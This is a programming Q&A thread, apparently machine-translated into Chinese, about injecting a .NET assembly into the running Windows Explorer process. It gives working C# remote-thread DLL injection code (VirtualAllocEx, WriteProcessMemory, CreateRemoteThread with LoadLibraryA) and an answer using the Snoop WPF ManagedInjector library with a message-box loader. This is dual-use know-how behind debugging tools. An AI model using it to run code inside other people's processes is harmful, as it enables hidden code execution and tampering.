2015-07-11 79 views
3

在我的情況,我想加載自定義.NET程序集到運行.NET過程的域名,例如Windows Explorer,我曾嘗試已是剛剛注射大會explorer.exe但這似乎並沒有沒有明顯的理由工作。將.Net程序集加載/注入到現有的.net進程中?

噴油器代碼:

public class CodeInjector 
{ 
    [DllImport("kernel32.dll", SetLastError = true)] 
    public static extern IntPtr OpenProcess(uint dwDesiredAccess, int bInheritHandle, uint dwProcessId); 

    [DllImport("kernel32.dll", SetLastError = true)] 
    public static extern int CloseHandle(IntPtr hObject); 

    [DllImport("kernel32.dll", SetLastError = true)] 
    public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName); 

    [DllImport("kernel32.dll", SetLastError = true)] 
    public static extern IntPtr GetModuleHandle(string lpModuleName); 

    [DllImport("kernel32.dll", SetLastError = true)] 
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint flAllocationType, uint flProtect); 

    [DllImport("kernel32.dll", SetLastError = true)] 
    public static extern int WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, uint size, int lpNumberOfBytesWritten); 

    [DllImport("kernel32.dll", SetLastError = true)] 
    public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttribute, IntPtr dwStackSize, IntPtr lpStartAddress, 
     IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); 

    private static CodeInjector _instance; 

    public static CodeInjector GetInstance 
    { 
     get { return _instance ?? (_instance = new CodeInjector()); } 
    } 

    public InjectionResult Inject(string sProcName, string sDllPath) 
    { 
     if (!File.Exists(sDllPath)) 
     { 
      return InjectionResult.DllNotFound; 
     } 

     var procs = Process.GetProcesses(); 
     var procId = (from t in procs where t.ProcessName == sProcName select (uint)t.Id).FirstOrDefault(); 

     if (procId == 0) 
     { 
      return InjectionResult.ProcessNotFound; 
     } 

     if (!Inject(procId, sDllPath)) 
     { 
      return InjectionResult.InjectionFailed; 
     } 

     return InjectionResult.InjectionSucceed; 
    } 

    private static bool Inject(uint pToBeInjected, string sDllPath) 
    { 
     var hndProc = OpenProcess((0x2 | 0x8 | 0x10 | 0x20 | 0x400), 1, pToBeInjected); 

     if (hndProc == IntPtr.Zero) 
     { 
      return false; 
     } 

     var lpLlAddress = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); 

     if (lpLlAddress == IntPtr.Zero) 
     { 
      return false; 
     } 

     var lpAddress = VirtualAllocEx(hndProc, (IntPtr)null, (IntPtr)sDllPath.Length, (0x1000 | 0x2000), 0X40); 

     if (lpAddress == IntPtr.Zero) 
     { 
      return false; 
     } 

     var bytes = Encoding.ASCII.GetBytes(sDllPath); 

     if (WriteProcessMemory(hndProc, lpAddress, bytes, (uint)bytes.Length, 0) == 0) 
     { 
      return false; 
     } 

     if (CreateRemoteThread(hndProc, (IntPtr)null, IntPtr.Zero, lpLlAddress, lpAddress, 0, (IntPtr)null) == IntPtr.Zero) 
     { 
      return false; 
     } 

     CloseHandle(hndProc); 

     return true; 
    } 
} 
+1

如何驗證程序集沒有注入?你是否在'sDllPath'變量中發送了同樣的程序集?該程序集是否位於與注入過程的可執行文件相同的文件夾中?順便說一句,資源管理器不是.Net進程,所以它可能沒有運行CLR裏面。在這種情況下,另一種方式是注入自己的C++組件,並創造新的AppDomain並在注射過程中運行的彙編 –

+0

@SergeyLitvinov是否有裝載我的。NET組裝成瀏覽器?一個好辦法,我都想盡單路我能找到沒有運氣。我使用procexplorer來查看我的程序集是否已加載到目標進程中。 –

回答

3

您也可以使用現有的庫的另一個選項 - ManagedInjector - https://github.com/cplotts/snoopwpf/tree/master/ManagedInjector。有一個工具snoopwpf可以顯示任何WPF進程的細節,並且它使用進程注入。我前一段時間使用它,它運行良好。

您需要構建它,添加到您的項目作爲參考,並調用這樣的:

Injector.Launch(someProcess.MainWindowHandle, 
        typeof(Loader).Assembly.Location, 
        typeof(Loader).FullName, 
        "Inject"); 

Loader是將被加載到進程和Inject是將要執行的靜態方法類型的名稱。在我的情況下,我有:

public class Loader 
{ 

    public static void Inject() 
    { 
      // i did CBT Hook on main window here 
      // and also displayed sample message box for debugging purposes 
      MessageBox.Show("Hello from another process"); 
    } 
} 

ManagedInjector是用Managed C++代碼編寫的。基本上它將自己的非託管C++方法作爲MessageHookProc掛鉤,它將在注入後啓動指定的程序集並運行指定的方法。它應該適用於託管和非託管程序。在我的情況下,我將它用於非託管程序。

UPDATE

我在本地測試,它成功地注入在Windows 8.1 x64的我的消息框到Explorer進程。我編譯了ManagedInjector64-4.0,我的示例控制檯項目在平臺選擇中也有x64。這是我的工作代碼:

class Program 
{ 
    static void Main(string[] args) 
    { 
     var proc = Process.GetProcessesByName("explorer").FirstOrDefault(); 
     Injector.Launch(proc.MainWindowHandle, typeof(Loader).Assembly.Location, typeof(Loader).FullName, "Inject"); 
    } 
} 

public class Loader 
{ 
    public static void Inject() 
    { 
     MessageBox.Show("Hello"); 
     Task.Run(() => 
     { 
      Thread.Sleep(3000); 
      MessageBox.Show("Hello again"); 
      Thread.Sleep(5000); 
      MessageBox.Show("Hello again again"); 
     }); 
    } 
} 
+0

它不斷拋出FileLoadException,即使沒有調用進樣法..任何幫助,因爲你的解決方案似乎有趣。 –

+0

我在注射器使用中出現錯誤。第二個參數應該指向程序集的位置,所以它可能無法加載它。我已更新答案並添加了工作示例。 –

+0

很抱歉,但我不能建立注射器項目中,我不斷收到'錯誤5錯誤LNK2022:元數據操作失敗(80131195):自定義屬性並不一致:(0x0c000089).' –